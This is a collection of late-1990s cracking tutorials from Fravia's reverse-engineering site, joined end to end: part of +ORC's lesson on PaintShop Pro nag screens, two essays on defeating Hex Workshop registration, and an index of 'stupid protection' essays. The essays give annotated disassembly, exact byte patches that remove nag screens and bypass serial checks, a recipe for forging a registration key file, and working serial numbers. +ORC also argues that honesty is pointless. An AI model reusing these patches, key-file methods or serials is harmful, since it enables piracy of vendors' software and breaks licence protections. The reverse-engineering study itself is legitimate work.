:004350FB 83C404 add esp, 00000004
:004350FE 8BD8 mov ebx, eax
:00435100 C1E310 shl ebx, 10

* StringData Ref from Data Obj ->"0" ;SECOND DIGIT OF 4.01


|
:00435103 6860A64B00 push 004BA660

http://www.instinct.org/fravia/howto93.htm (19 of 24) [2/7/2001 3:07:26 PM]


Howto93

:00435108 FFD7 call edi


:0043510A 83C404 add esp, 00000004
:0043510D 0BD8 or ebx, eax
:0043510F C1E308 shl ebx, 08

* StringData Ref from Data Obj ->"1" ;THIRD DIGIT OF 4.01


|
:00435112 685CA64B00 push 004BA65C
:00435117 FFD7 call edi
:00435119 C1E010 shl eax, 10
:0043511C 83C404 add esp, 00000004
:0043511F 0BD8 or ebx, eax

* Possible StringData Ref from Data Obj ->"2"


|
:00435121 68C4A14B00 push 004BA1C4
:00435126 FFD7 call edi
:00435128 83C404 add esp, 00000004
:0043512B 0BD8 or ebx, eax
:0043512D 899ED4000000 mov [esi-000000D4], ebx

* Possible StringData Ref from Data Obj ->"0"


|
:00435133 6860A64B00 push 004BA660
:00435138 FFD7 call edi
:0043513A 83C404 add esp, 00000004
:0043513D 50 push eax

* Possible StringData Ref from Data Obj ->"1"


|
:0043513E 685CA64B00 push 004BA65C
:00435143 FFD7 call edi
:00435145 83C404 add esp, 00000004
:00435148 50 push eax

* Possible StringData Ref from Data Obj ->"4"


|
:00435149 6874AE4B00 push 004BAE74
:0043514E FFD7 call edi
:00435150 83C404 add esp, 00000004
:00435153 50 push eax

* Ref from Data Obj ->"%i.%i%i" ;PRINT 3 INTEGERS: N.NN (4.01)


|
:00435154 686CAE4B00 push 004BAE6C
:00435159 8D86CC000000 lea eax, [esi-000000CC]

http://www.instinct.org/fravia/howto93.htm (20 of 24) [2/7/2001 3:07:26 PM]


Howto93

:0043515F 50 push eax

* Reference To: n/a, Ord:09A7h in MFC40.DLL


|
:00435160 E815FF0600 call 004A507A
:00435165 83C414 add esp, 00000014
:00435168 8D8ECC000000 lea ecx, [esi-000000CC]

* StringData Ref from Data Obj ->" Shareware" ;PRINT SHAREWARE


|
:0043516E 6860AE4B00 push 004BAE60

The first BitBlt routine of the program puts the screen on!

it is at:

* Reference To: BitBlt, Ord:000Ah in GDI32.dll


|
:00406917 FF15B4F24B00 call dword ptr [004BF2B4]
:0040691D B800000000 mov eax, 00000000
:00406922 85FF test edi, edi
:00406924 7403 je 00406929
:00406926 8B4704 mov eax, [edi+04]
:00406929 50 push eax
:0040692A 8B45B4 mov eax, [ebp-4C]
:0040692D 50 push eax

and here some other annoying pieces of code: The red bar as soon
as you use the program more than 30 days...

* Reference To: n/a, Ord:0970h in MFC40.DLL


|
:00406BE3 E836E60900 call 004A521E ;DRAW RED BAR
:00406BE8 6801080000 push 00000801
:00406BED 8D45A0 lea eax, [ebp-60]
:00406BF0 50 push eax
:00406BF1 8B4DEC mov ecx, [ebp-14]
:00406BF4 8B853CFFFFFF mov eax, [ebp-000000C4]
:00406BFA 8B51F8 mov edx, [ecx-08]
:00406BFD 52 push edx
:00406BFE 51 push ecx
:00406BFF 8D8D3CFFFFFF lea ecx, [ebp-000000C4]
:00406C05 FF5070 call [eax+70] ;BOTTOM WINDOW TXT+RED BAR
:00406C08 53 push ebx
:00406C09 8D8D3CFFFFFF lea ecx, [ebp-000000C4]

http://www.instinct.org/fravia/howto93.htm (21 of 24) [2/7/2001 3:07:26 PM]


Howto93

Once found all the above, the rest is pretty obvious... here all
the necessary crackcodes: bytes to find and change. This is a
weird, non-elegant crack, but kinda funny, so i had to write it
down until i discover a better one (+gthorne speaking) note:
i gave good search strings so lamers don't get confused with
similar patterns in the software:

8B450885C07504 to 8B450885C07500 - screen backgrounding


3CFFFFFFFF5070 to 3CFFFFFF750090 - do not draw lower text in box
3CFFFFFFFF5064 to 3CFFFFFFEB0090 - do not report version number
83FF1E7E1E to 83FF1EEB1E - do not draw red bar
000083FFC07403 to 000083FFC0EB03 - turn nagscreen invisible
53686172657761726500 to 20202020202020202000 - disable shareware
notice writing phisycally some spaces over it

final note: since psp closes the nagscreen when the program
exits, all is now cleaned up.

FF15B4F24B00 to 750090750090 (bitblt) seems to not do anything


the above cracks dont do.

Time to explain BitBlt... isn 't it? BitBlt copies


a bitmap from the device context sopecified by hdcSource to the
device context specified by hdcTarget performing a block copy.
On success the function returns not zero.
It is called with the handle hdcTarget, int nTargetX and nTArgetY
(upper left coordinates of the point at which the bitmap will be
copied... a 'pixel point' locator may be very useful in our
trade) int nWidth and nHeight of the region, the handle hdcSource
and then, finally the upper left coordinates IN the bitmap, the
two int nSourceX and nSourcey. Is it all? NO! The final
parameter, DWORD dwRaster determines HOW the bit-by-bit contents
of the bitmap will actually be copied (black, inverted, ANDed,
ORed, XOred...etc.).

Lotta things to learn if you want to crack a lot...


THE STUDENTS OF UNIT 4 (+HCU, January 1997)
*******************************************

As a matter of fact both cracks here, mine for PSPS32 and my


student's VERY smart one for PSP41 are 'weak', though: they will
not eliminate the nagscreen (you should search for the remaining
occurrences of our locations and work from them inwards, if you
really want to crack completely this scheme, but in this case it
would be better to work more with Winice95, in my opinion. But
I hope I have made the point about "dead listing" cracking: It

http://www.instinct.org/fravia/howto93.htm (22 of 24) [2/7/2001 3:07:26 PM]


Howto93

works! Quick and placid! In the PSP32 case the protection will
still show you the nagscreen, which will "automatically"
disappear, though, leaving you with no annoyance (in nuce: you
cracked the return button), in the other case you have physically
eliminated all possible annoyances. The nagscreen is still there,
but it does not 'harm' you any more.
Anyway I wanted only to show you the POWER and the CHILD'S PLAY
working of this "dead listing" approach (that you may combine
with some quick winice probes if you really think you need it
anytime).
You'll agree with me, though, that this quick "weak" crack,
made with the "dead listing" method is far less tiresome than a
'live' crack with our beloved SoftIce/WinIce.
Now, in life, I believe, you should always search to obtain
the maximum giving the minimum. There is no point in being
altruistic or excessively honest in a society where the tiny
minority that profits most keeps getting richer and richer and
the overwhelming majority that lives with meager earnings keeps
getting poorer and poorer (and -moronized by TV-watching and
other Pavlovian propagandistic sources of misinformation- keeps
voting the same rich bastards that keep it enslaved under the
whips of publicity, as if the slaves of ancient Egypt would
happily vote for their Pharaohs). I abhor and despise the society
I am compelled to live in... but this does not mean that I
renounce to anything. I am (pretty) rich, (yet do not exploit
anybody), eat very well, have a big nice house with all the
useless objects and cars and garages and terraces and futile
gadgets you are supposed to enjoy in this moronic society (I
enjoy foremost my spacious library) and I drink my regular bottle
of (Moskowskaja) Wodka every week. My liver (and my nice family)
do not seem to complain :=)

Well, that's it for this lesson, reader. Not all lessons of my


tutorial are or will be on the Web.
You'll obtain the missing lessons IF AND ONLY IF you mail
me back (via anon.penet.fi) with some tricks of the trade I may
not know that YOU discovered. Mostly I'll actually know them
already, but if they are really new you'll be given full credit,
and even if they are not, should I judge that you "rediscovered"
them with your work, or that you actually did good work on them,
I'll send you the remaining lessons nevertheless. Your
suggestions and critics on the whole crap I wrote are also
welcomed. Do not annoy me with requests for warez, everything is
on the Web, learn how to search, for goddess sake.

"If you give a man a crack he'll be hungry again

http://www.instinct.org/fravia/howto93.htm (23 of 24) [2/7/2001 3:07:26 PM]


Howto93

tomorrow, but if you teach him how to crack, he'll


never be hungry again"

E-mail +ORC

+ORC na526164@anon.penet.fi

http://www.instinct.org/fravia/howto93.htm (24 of 24) [2/7/2001 3:07:26 PM]


heres1

How to register HexWorkshop v2.52 (32bit)


(Missing file reconstruction)
by Heres

(17 August 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Well, this essay is published with great delay because Heres sent it to me only on 14 August 1997, it is another approach to
Hexworkshop reverse engineering, worth reading

How to register HexWorkshop v2.52 (32bit)

- by Heres -

[You should use Courier New 8 in order to view and print correctly this
essay]

This is a different dead listing approach, based on search of registration


filename.
As you can see, in the target's directory, there is a file HEXWORKS.REG
(0 bytes), so go to search the string...

* Possible StringData Ref from Data Obj ->"HEXWORKS.REG" ; Good...


|
:0043B10C BAC05B4800 mov edx, 00485BC0
:0043B111 83E103 and ecx, 00000003
:0043B114 F3 repz
:0043B115 A4 movsb
:0043B116 8D7C240C lea edi, [esp + 0C]
:0043B11A B9FFFFFFFF mov ecx, FFFFFFFF
:0043B11F 2BC0 sub eax, eax
:0043B121 F2 repnz
:0043B122 AE scasb
:0043B123 4F dec edi
:0043B124 8B02 mov eax, [edx]
:0043B126 8B4A04 mov ecx, [edx+04]
:0043B129 8B5A08 mov ebx, [edx+08]
:0043B12C 6A00 push 00000000
:0043B12E 8907 mov [edi], eax
:0043B130 8A420C mov al , [edx+0C]
:0043B133 894F04 mov [edi+04], ecx
:0043B136 8D4C2410 lea ecx, [esp + 10]
:0043B13A 895F08 mov [edi+08], ebx
:0043B13D 51 push ecx
:0043B13E 88470C mov [edi+0C], al

http://www.instinct.org/fravia/heres1.htm (1 of 4) [2/7/2001 3:07:30 PM]


heres1

* Reference To: KERNEL32._lopen, Ord:0262h ; Go to open...


|
:0043B141 FF15C85A4900 Call dword ptr [00495AC8]
:0043B147 83F8FF cmp eax, FFFFFFFF
:0043B14A 8BF0 mov esi, eax
:0043B14C 0F84D7000000 je 0043B229
:0043B152 8B9C2418010000 mov ebx, [esp + 00000118]
:0043B159 68D2000000 push 000000D2 ; At least 210 bytes
:0043B15E 53 push ebx ; to read from file
:0043B15F 56 push esi

* Reference To: KERNEL32._lread, Ord:0263h ; Go to read...


|
:0043B160 FF15CC5A4900 Call dword ptr [00495ACC]
:0043B166 8BF8 mov edi, eax
:0043B168 56 push esi

* Reference To: KERNEL32._lclose, Ord:025Fh ; Close now...


|
:0043B169 FF15D05A4900 Call dword ptr [00495AD0]
:0043B16F 81FFD2000000 cmp edi, 000000D2 ; really 210 bytes ?
:0043B175 752A jne 0043B1A1
:0043B177 81ECD4000000 sub esp, 000000D4
:0043B17D 8BF3 mov esi, ebx
:0043B17F 8BFC mov edi, esp
:0043B181 B934000000 mov ecx, 00000034
:0043B186 F3 repz
:0043B187 A5 movsd
:0043B188 66A5 movsw
:0043B18A E861020000 call 0043B3F0 ; Check Routine
:0043B18F 81C4D4000000 add esp, 000000D4
:0043B195 3B83CE000000 cmp eax, [ebx+000000CE] ; Oh,Oh... The Key!
:0043B19B 0F8418010000 je 0043B2B9 ; Jump if Registered

* Referenced by a Jump at Address:0043B175(C)


|
:0043B1A1 66C7030000 mov word ptr [ebx], 0000
:0043B1A6 BFD05B4800 mov edi, 00485BD0
:0043B1AB B9FFFFFFFF mov ecx, FFFFFFFF
:0043B1B0 2BC0 sub eax, eax
:0043B1B2 F2 repnz
:0043B1B3 AE scasb
:0043B1B4 F7D1 not ecx
:0043B1B6 2BF9 sub edi, ecx
:0043B1B8 8BC1 mov eax, ecx
:0043B1BA C1E902 shr ecx, 02
:0043B1BD 8BF7 mov esi, edi
:0043B1BF 8D7B02 lea edi, [ebx+02]
:0043B1C2 F3 repz
:0043B1C3 A5 movsd
:0043B1C4 8BC8 mov ecx, eax
:0043B1C6 83E103 and ecx, 00000003
:0043B1C9 F3 repz
:0043B1CA A4 movsb

http://www.instinct.org/fravia/heres1.htm (2 of 4) [2/7/2001 3:07:30 PM]


heres1

* Possible StringData Ref from Data Obj ->"Unregistered" ; +ORC's SearchString


|
:0043B1CB BFD45B4800 mov edi, 00485BD4

THE CRACK

Ok... Now try to create a file of at least 210 bytes, called HEXWORKS.REG, in the
target directory. My one, below, is particular (completed after 3 attempts,
launching the program byte-cracked in the first way), but only the length is
important for now...

xx0000000000
Heres
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

With 0Dh,0Ah at the end of each line (yes, I wrote it with a simple editor).

Now we have two ways to crack this program...

1. Making a byte crack

First make a backup of HWORKS32.EXE (es. HWORKS32.ORI)

OFFSET: -OLD-
0003A59B 0F8418010000 je 0043B2B9 ; Jump if Registered

OFFSET: -NEW-
0003A59B E919010000 jmp 0043B2B9 ; Jump however
0003A5A0 90 nop ; :-o

2. Finding the key using Softice 2.0+

Load the target (Softice Loader) and set


bpx cs:43B195
then strike (F5)... Ok you are at the key point:
:0043B195 3B83CE000000 cmp eax, [ebx+000000CE] ; Oh,Oh... The Key!
Mmmm... Interesting...
The value of EAX should be stored in reverse order at the end of your
HEXWORKS.REG.

So I modified my regfile using the first-way cracked program :-), and changed the
4 bytes at the end from:
78h, 78h, 0Dh, 0Ah
to:
36h, E8h, 0Fh, C8h

http://www.instinct.org/fravia/heres1.htm (3 of 4) [2/7/2001 3:07:30 PM]


heres1

Finally I restored HWORKS32.EXE using the previous backup file: HWORKS32.ORI

Ok... A speed crack... If you have more time, you can analyze the Check Routine
and you'll easily be able to prepare a keymaker for this program.

Note:
Sorry for my English, I am an Italian cracker, and I learned with the
superb +ORC tutorial...

Heres, June 3th 1997

(c) Heres 1997. All rights reserved

You are deep inside fravia's page of reverse engineering, choose your way out:

Project 1
homepage links anonymity +ORC students' essays Academy database
tools cocktails antismut CGI-scripts search_forms mail_Fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/heres1.htm (4 of 4) [2/7/2001 3:07:30 PM]


Aescul3

Hex Workshop 32 v. 2.53


("A weak protection scheme is worst than no protection scheme at all")

by Aesculapius
(05 July 1997, slightly edited by Fravia)

Courtesy of Fravia's page of reverse engineering

Hex Workshop 32 v. 2.53 Crack


(A weak protection scheme is worst than no protection scheme at all)
By Aesculapius

Getting advantages from weak protection schemes has always been one of
my favorites activities. Turning your worst enemy into your best friend is
one of the more stunning goals of a cracker. This application is not only
a great shining diamond for our trade (being a very good hexeditor) but
also an excellent example in how a precise modification of the protection
scheme can turn it to your advantage.
Hex Workshop v. 2.52 has already been cracked (BTW, +ORC explained the
'dead listing' approach cracking version 2.1 of this same program inside
his lesson 9.3) and probably the same modifications of the previous version
apply to this one, however, what i pretend to teach in this essay is how
to reach the heart, or should i say, pull out the guts of this protection
scheme with your own bare hands (nasty!!! ain't it).
May we begin?

Hex Workshop is protected with a mediocre serial number system. Lets


disassemble the code with w32dsm85, now, hit your search button looking for
"Registration unsuccessful" (the tittle of the wrong serial number window
warning). Wdasm lands in this segment of code:

Name: DialogID_0075, # of Controls=003, Caption:"Registration Unsuccessful"


001 - ControlID:FFFF, Control Class:"" Control Text:"You have entered an
invalid registration number."
002 - ControlID:FFFF, Control Class:"" Control Text:"Please confirm you
entered a valid registration number or contact BreakPoint S"
003 - ControlID:0001, Control Class:"" Control Text:"&OK"

Now search this precise dialog number. Now hit F3 button in


wdasm (search again) looking for "DialogID_0075". You'll land here:

* Possible StringData Ref from Data Obj ->"JN11mARQ"; This should win the
programmers stupidity
award. As this is one
of the few known
working serial numbers
widely spread around

http://www.instinct.org/fravia/aescul3.htm (1 of 7) [2/7/2001 3:07:34 PM]


Aescul3

the web, programmers


choose to insert this
code HARDWIRED in their
new versions, to avoid its
use by lamers, instead
of changing the code
generation sequence itself!!!
|
:00409C41 6874D84700 push 0047D874
:00409C46 8D45DC lea eax, dword ptr [ebp-24]
:00409C49 50 push eax
:00409C4A E8210A0300 call 0043A670
:00409C4F 83C408 add esp, 00000008 ; Is the serial typed 8
bytes long? If not then
flag is 00 otherwise flag
is 01
:00409C52 85C0 test eax, eax
:00409C54 0F8414000000 je 00409C6E
:00409C5A 8D45DC lea eax, dword ptr [ebp-24]
:00409C5D 50 push eax
:00409C5E E8DDD50200 call 00437240 ; checking procedure. Result
stored in EAX.
:00409C63 83C404 add esp, 00000004
:00409C66 8945EC mov dword ptr [ebp-14], eax ; Something
; stored in flag
; byte.
:00409C69 E907000000 jmp 00409C75

* Referenced by a Jump at Address:00409C54(C)


|
:00409C6E C745EC00000000 mov [ebp-14], 00000000 ; Flag and three more
; bytes are turn into
; 00

* Referenced by a Jump at Address:00409C69(U)


|
:00409C75 837DEC00 cmp dword ptr [ebp-14], 00000000 ; Compares
flag with
00=unreg
If flag is
01=reg.
:00409C79 0F8479000000 je 00409CF8 ; This jumps beyond the invalid
serial number box.

:00409C7F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]


:00409C85 83C15C add ecx, 0000005C
:00409C88 E8F37FFFFF call 00401C80
:00409C8D 50 push eax
:00409C8E 8B85FCFEFFFF mov eax, dword ptr [ebp+FEFC]
:00409C94 8B4060 mov eax, dword ptr [eax+60]
:00409C97 83C002 add eax, 00000002
:00409C9A 50 push eax
:00409C9B E820F20200 call 00438EC0
:00409CA0 83C408 add esp, 00000008

http://www.instinct.org/fravia/aescul3.htm (2 of 7) [2/7/2001 3:07:34 PM]


Aescul3

:00409CA3 8B85FCFEFFFF mov eax, dword ptr [ebp+FEFC]


:00409CA9 8B4060 mov eax, dword ptr [eax+60]
:00409CAC 66C7000100 mov word ptr [eax], 0001
:00409CB1 6A00 push 00000000
:00409CB3 8B85FCFEFFFF mov eax, dword ptr [ebp+FEFC]
:00409CB9 8B4060 mov eax, dword ptr [eax+60]
:00409CBC 50 push eax
:00409CBD 8D8D74FFFFFF lea ecx, dword ptr [ebp+FF74]
:00409CC3 E824C70100 call 004263EC
:00409CC8 C745FC00000000 mov [ebp-04], 00000000
:00409CCF 8D8D74FFFFFF lea ecx, dword ptr [ebp+FF74]
:00409CD5 E8D4E00300 call 00447DAE

* Possible Reference to String Resource ID=00001: "Hex Workshop Version 2.53"


|
:00409CDA 6A01 push 00000001
:00409CDC 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
:00409CE2 E8E8E10300 call 00447ECF
:00409CE7 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00409CEE E8CE000000 call 00409DC1
:00409CF3 E9B8000000 jmp 00409DB0

* Referenced by a Jump at Address:00409C79(C)


|
:00409CF8 E8A38AFFFF call 004027A0
:00409CFD 89850CFFFFFF mov dword ptr [ebp+FF0C], eax
:00409D03 8B850CFFFFFF mov eax, dword ptr [ebp+FF0C]
:00409D09 8B00 mov eax, dword ptr [eax]
:00409D0B 898508FFFFFF mov dword ptr [ebp+FF08], eax

* Possible Reference to String Resource ID=00001: "Hex Workshop Version 2.53"


|
:00409D11 6A01 push 00000001
:00409D13 8B8508FFFFFF mov eax, dword ptr [ebp+FF08]
:00409D19 8B8D0CFFFFFF mov ecx, dword ptr [ebp+FF0C]
:00409D1F FF9094000000 call dword ptr [eax+00000094]
:00409D25 68D0070000 push 000007D0

* Reference To: KERNEL32.Sleep, Ord:0218h


|
:00409D2A FF1588194900 Call dword ptr [00491988]
:00409D30 E86B8AFFFF call 004027A0
:00409D35 898504FFFFFF mov dword ptr [ebp+FF04], eax
:00409D3B 8B8504FFFFFF mov eax, dword ptr [ebp+FF04]
:00409D41 8B00 mov eax, dword ptr [eax]
:00409D43 898500FFFFFF mov dword ptr [ebp+FF00], eax
:00409D49 6A00 push 00000000
:00409D4B 8B8500FFFFFF mov eax, dword ptr [ebp+FF00]
:00409D51 8B8D04FFFFFF mov ecx, dword ptr [ebp+FF04]
:00409D57 FF9094000000 call dword ptr [eax+00000094]
:00409D5D 6A00 push 00000000
:00409D5F 6A00 push 00000000

* Possible Reference to String Resource ID=00001: "Hex Workshop Version 2.53"

http://www.instinct.org/fravia/aescul3.htm (3 of 7) [2/7/2001 3:07:34 PM]


Aescul3

|
:00409D61 6A01 push 00000001

* Possible Reference to Dialog: DialogID_0075 ; This piece of code should not


; be executed if the serial
; number typed is right...
|
:00409D63 6A75 push 00000075
:00409D65 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
:00409D6B E890F3FFFF call 00409100

* Possible Reference to String Resource ID=00001: "Hex Workshop Version 2.53"


|
:00409D70 C745FC01000000 mov [ebp-04], 00000001
:00409D77 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
:00409D7D E82CE00300 call 00447DAE

* Possible Reference to Dialog: DialogID_0064, CONTROL_ID:0404, ""


|
:00409D82 6804040000 push 00000404
:00409D87 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
:00409D8D E8DC190400 call 0044B76E
:00409D92 8945F0 mov dword ptr [ebp-10], eax
:00409D95 8B45F0 mov eax, dword ptr [ebp-10]
:00409D98 50 push eax
:00409D99 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]
:00409D9F E8CC010000 call 00409F70
:00409DA4 C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:00409DAB E805000000 call 00409DB5

* Referenced by a Jump at Address:00409CF3(U)


|
:00409DB0 E922000000 jmp 00409DD7

* Referenced by a CALL at Address:00409DAB


|
:00409DB5 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]
:00409DBB E890F4FFFF call 00409250
:00409DC0 C3 ret

As you can see, this code is self explaining, the invalid serial number
is first compared with the widely spread (JN11mARQ); if it isn't this
number, then the execution will check your serial number for
validation at CALL in address :00409C5E. Lets search this CALL. Hit search
button at Wdasm looking for ":00409C5E". We land here:

* Referenced by a CALL at Addresses:00409C5E , :00426118


; Lady's and gentleman we're inside the
; protection scheme itself... and we
; found TWO calls... that means that
; the valid serial is calculated two
; times, how touching, probably, the
; first one when application starts
; and the other when the user tries

http://www.instinct.org/fravia/aescul3.htm (4 of 7) [2/7/2001 3:07:34 PM]


Aescul3

; to register it.
|
:00437240 83EC14 sub esp, 00000014
:00437243 B9FFFFFFFF mov ecx, FFFFFFFF
:00437248 2BC0 sub eax, eax
:0043724A 56 push esi
:0043724B 8B74241C mov esi, dword ptr [esp + 1C]
:0043724F 57 push edi
:00437250 8BFE mov edi, esi
:00437252 F2 repnz
:00437253 AE scasb
:00437254 F7D1 not ecx
:00437256 49 dec ecx
:00437257 83F908 cmp ecx, 00000008 ; Once again, its the
; code 8 bytes long? No,
; then EAX=0 Unreg.
:0043725A 7408 je 00437264
:0043725C 33C0 xor eax, eax
:0043725E 5F pop edi
:0043725F 5E pop esi
:00437260 83C414 add esp, 00000014
:00437263 C3 ret

* Referenced by a Jump at Address:0043725A(C)


|
:00437264 6A0A push 0000000A
:00437266 8D4602 lea eax, dword ptr [esi+02]
:00437269 6A00 push 00000000
:0043726B 50 push eax
:0043726C E8DF1F0000 call 00439250
:00437271 8D4C2414 lea ecx, dword ptr [esp + 14]
:00437275 83C40C add esp, 0000000C
:00437278 8BFE mov edi, esi
:0043727A 51 push ecx
:0043727B 50 push eax
:0043727C E83FFFFFFF call 004371C0
:00437281 83C408 add esp, 00000008
:00437284 B9FFFFFFFF mov ecx, FFFFFFFF
:00437289 2BC0 sub eax, eax
:0043728B F2 repnz
:0043728C AE scasb
:0043728D F7D1 not ecx
:0043728F 2BF9 sub edi, ecx
:00437291 8BC1 mov eax, ecx
:00437293 C1E902 shr ecx, 00000002
:00437296 8BF7 mov esi, edi
:00437298 8D7C240C lea edi, dword ptr [esp + 0C]
:0043729C F3 repz
:0043729D A5 movsd
:0043729E 8BC8 mov ecx, eax
:004372A0 83E103 and ecx, 00000003
:004372A3 F3 repz
:004372A4 A4 movsb
:004372A5 8D742408 lea esi, dword ptr [esp + 08]

http://www.instinct.org/fravia/aescul3.htm (5 of 7) [2/7/2001 3:07:34 PM]


Aescul3

:004372A9 8D4C240C lea ecx, dword ptr [esp + 0C]


:004372AD 51 push ecx
:004372AE E82D2D0000 call 00439FE0
:004372B3 83C404 add esp, 00000004

* Possible Reference to Menu: MenuID_0002


|

* Possible Reference to String Resource ID=00002: "Hex Workshop"


|
:004372B6 B902000000 mov ecx, 00000002 ; Stores two bytes to
; compare.
:004372BB 8BF8 mov edi, eax
:004372BD 2BC0 sub eax, eax
:004372BF F3 repz ; Finally, the program compares
:004372C0 A6 cmpsb ; two calculated bytes with
; the first two bytes of the
serial number you typed, if
equal, then EAX=01 at
:004372D1
:004372C1 7405 je 004372C8 ; Changing this to jne will do
; the crack
:004372C3 1BC0 sbb eax, eax
:004372C5 83D8FF sbb eax, FFFFFFFF

* Referenced by a Jump at Address:004372C1(C)


|
:004372C8 85C0 test eax, eax
:004372CA B800000000 mov eax, 00000000 ; changing this to
; mov eax,1 will
; probably do the crack
:004372CF 7505 jne 004372D6

* Possible Reference to String Resource ID=00001: "Hex Workshop Version 2.53"


|
:004372D1 B801000000 mov eax, 00000001

* Referenced by a Jump at Address:004372CF(C)


|
:004372D6 5F pop edi
:004372D7 5E pop esi
:004372D8 83C414 add esp, 00000014
:004372DB C3 ret

We've seen enough, the program will check only the first two bytes of the
serial number to see if the number you typed match the one it calculated.
It accomplish this task using REPZ CMPSB (F3A6), damn, poor people!
Another "stupidity flag"! Just searching for the instruction 'F3A6' we would
have landed right in the hearth of the protection scheme.
There are many modifications that will defeat this scheme.
I prefer the following one:

change:

http://www.instinct.org/fravia/aescul3.htm (6 of 7) [2/7/2001 3:07:34 PM]


Aescul3

:004372C0 A6 cmpsb

to
:004372C0 A4 movsb

The right bytes will be moved to the first two bytes of your serial number
and, as the zero flag is already set, EAX will then be equal to 01.

This crack will force the program to accept any serial number as valid and
therefore it will create an hexworks.reg file key which will work
in any shareware version of the program.
By simply erasing the key file, you may create as many new keys as
necessary.
As you can see, the protection scheme itself works now for us as a
key generator, able to create as many valid keys as we request.

New learning Crackers can use before reverse engineering the target
this Valid Serial Number: SYAESCUL, in order to learn more about what
happens when the program is registered. Once you have verified it, just delete
the registered version and reinstall an "original" one in order to
follow this essay.

Aesculapius - July 1997


Email: aesculapius@cyberjunkie.com
HomePage: aesculapius.home.ml.org

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms mailFraVia

Is reverse engineering legal?

http://www.instinct.org/fravia/aescul3.htm (7 of 7) [2/7/2001 3:07:34 PM]


project7.htm: +HCU's project 7: Most stupid protections

+HCU: Academy of Reverse Engineering


Founded by +ORC in April 1996

Project 7: Most stupid protections


Updated in September 1999

[Poor shareware programmers] [Useful for beginners] [Essays]

+HCU Papers Our tools Our protections


Programmers Corner Packers & Unpackers Unassigned
Project 0: Wdasm reversing Project 1: Hexeditors & co Project 2: Softice & Numega's
Project 3: Dongles cracking Project 4: CD-Rom faking Project 5: Netscape ameliorating
Project 7: Most stupid
Project 6: Crippled targets Project 8: VisualBasic cracking
schemes
Project 9: Micro$oft bashing

Most stupid protection

Poor shareware programmers

Poor shareware programmers... they would like soo much to concentrate on their own nice petty code, but -alas!- they have to wage battle
against hordes of pirates, thousand of "serial numbers afecionados", their own concurrence (may be their most dangerous enemies), and, last
but not least, all little wannabye crackers on the wide wide web (I did not included us reverse engineers in this list, because we are not their
enemies and their struggle against us would have the same chances of paper against scissors :-)
Some of them, in their deep desperation (and unbelievable assembly ignorance) resolve to "buy" already made "commercial" protection
schemes, most of which don't work at all (which does not wonder, being produced by "extremely mercantile" minds), as we will demonstrate in
this project, started 05 July 1997

Useful for beginners

Please note!: This section is EXTREMELY useful not only for protectors (in order to avoid at least the most obvious mistakes you could do
protectiong your software, but also for all beginners in the reversing arena. Most code reversed here is extremely simple, and you'll be able in
many case to follow its flow sitting in your armchair, without even the need of running the target. It is tehrefore high suitable for all those
readers that have never 'trusted' themselves (yet) in reversing code. It's easy, it's great fun and, as you'll soon learn, there's no end of such
stupid "faux pas" around...

Essays

http://www.instinct.org/fravia/project7.htm (1 of 3) [2/7/2001 3:07:39 PM]


project7.htm: +HCU's project 7: Most stupid protections

05 Jul 1997 Aesculapius Hex Workshop 32 v. 2.53 Weak protection schemes are worse than no protection at all
05 Jul 1997 TheChineese Claris Home Page version 2.0 Stupid time trial limits
SmartDraw for Windows95,
05 Jul 1997 Frog's Print Heawy Stupid anti-crackers protection
Version 3.11
A pretty stupid scheme: Spam
09 Jul 1997 plushmm it's all there... "autocracked
Exterminato
28 Jul 1997 +SNikKkEL Another "blacklist" protection Hypersnap-DX version 3.02 Key generator, ASM CODE
06 Aug 1997 Frog's Print PhotoShop 4.0 / Digimarc Commercial stupidity - Digimarc downfall
SoftWrapper - Cracking Windows
14 Aug 1997 +Sync how to reverse engineer a simple "anti-Winice" protection scheme
Calculator?

15 Aug 1997 iNCuBuS++ Cracking WinHacker95 2.0 MSVCRT.dll reverse engineering

Kremlin 1.1, a stupidly protected


17 Aug 1997 Jon An useful encryptor for our studies, btw
encryption utility
17 Aug 1997 FanTC Cracking Comments v1.3 If they would only make it so easy for us every time

28 Aug 1997 Mammon_ EnTray-Vous, Merci How NOT to use the Registry to protect your software

"Protections" that tell you the name of the calling dll and of the
29 Aug 1997 PNA Ulead PhotoImpact Trial 3.01
calling function
iniquity's inequality protection
31 Aug 1997 Flipper some tips about pascal reverse engineering
scheme
"Mental" cracking: techfacts95
04 Sept 1997 SiuL+Hacky Am I dreaming?
v1.3
Bypassing Ready made
04 Sep 1997 x86 Commercial Protection Schemes Cracking Xing Technology's Mpeg Player
(RSAgent32)

22 Sep 1997 +ReZiDeNt DLL-based schemes are *dead* A long overdue lesson for shareware programmers

24 Sep 1997 Frog's Print Bullet Proof FTP V1.0 hidden, bloated exe creation

Cracking SendMail 2.0 for


24 Sep 1997 Flipper Obvious Name Protections
Windows NT

An interesting tool: Numega


27 Oct 1997 Snatch Echoing a silly "install" and trial protection scheme
Smartcheck 5.0

02 Nov 1997 +DataPimp Cracking Unlocker for newbyes Defeating Lame Commercial Protection Schemes

Symantec Visual caf trial version


06 Nov 1997 A+heist a very silly protection scheme on a very interesting target
1.0
The Easy Protection Schemes And
05 Dec 1997 Vizion InstallShield Software Corporation protection schemes
The Lazy Protectionists

http://www.instinct.org/fravia/project7.htm (2 of 3) [2/7/2001 3:07:39 PM]


project7.htm: +HCU's project 7: Most stupid protections

BEGINNERS: Prassi CD-REP


12 Dec 1997 PipoMan dead listing a very easy protection scheme
trial stupid protection

